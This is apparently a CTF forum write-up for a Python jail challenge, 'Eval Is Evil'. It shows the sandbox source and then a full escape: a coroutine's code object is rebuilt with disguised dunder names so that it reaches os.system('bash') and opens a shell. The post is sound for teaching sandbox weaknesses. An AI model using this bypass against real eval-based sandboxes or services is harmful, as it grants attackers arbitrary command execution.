Python - Eval Is Evil Discussion [WRITE-UP]

Let’s discuss Python - Eval Is Evil.

Nice jail challenge.

It has strict filters to keep you in jail.

#!/usr/bin/env python3
 
def say_hello():
    print("Hello")
 
 
def check_code(code):
    if "__" in str(code.co_names):
        raise Exception("Try again")
 
    for const in code.co_consts:
        if hasattr(const, "co_names"):
            check_code(const)
 
 
BUILTINS = {
    "str": str,
    "int": int,
    "bool": bool,
    "bytes": bytes,
    "type": type,
    "Exception": Exception,
    "isinstance": isinstance,
    "print": print,
    "say_hello": say_hello,
    "__import__": lambda *a, **kw: print("Can not import !"),
}
 
 
def sandbox(code):
    code = compile(code.strip(), "", "exec")
    check_code(code)
    eval(code, {"__builtins__": BUILTINS}, {})
 
 
code = ""
while True:
    line = input(">>> ")
    code += " \n" + line
    while line:
        line = input("")
        code += " \n" + line
 
    try:
        sandbox(code)
    except Exception as e:
        print(e)
    code = ""

This write-up offers insightful information for bypassing filters.
Hack.lu CTF 2023 - Safest Eval (Python jail escape)

Here’s the solution:

async def async_function(): # why async? because we can't deconstruct a normal function
    """In Python2, we could deconstruct a normal function, but in Python3 it's deprecated"""
    for subclass in ().AAclassAA.AAbaseAA.AAsubclassesAA(): # ().__class__.__base__.__subclasses__()
        try: # try to find the importlib.abc.Loader subclass
            return subclass.load_module('os').system('bash')
        except:
            continue
    return None
async_object = async_function()
"""a normal function does not have a cr_frame attribute, so we can't deconstruct it"""
code_object = async_object.cr_frame.f_code # deconstruct the function
CodeType = type(code_object)
new_code_object = CodeType( # reconstruct the function 
    code_object.co_argcount,
    code_object.co_kwonlyargcount,
    code_object.co_nlocals,
    code_object.co_stacksize,
    code_object.co_flags,
    code_object.co_code,
    code_object.co_consts,
    type(())(name.replace("A", "_") for name in code_object.co_names), # replace AA's with __'s
    # type(()) indicates a tuple, since the tuple keyword isn't allowed in filter, this is a workaround
    #""">>> type(()) == tuple
    #    True
    #"""
    code_object.co_varnames,
    code_object.co_filename,
    code_object.co_name,
    code_object.co_firstlineno,
    code_object.co_lnotab,
    code_object.co_freevars,
    code_object.co_cellvars
)
function = type(lambda: None)
coroutine = function(new_code_object, {})() # create the function
print("Escape successful\nEnjoy your bash shell")
print(coroutine.send(None)) # execute the function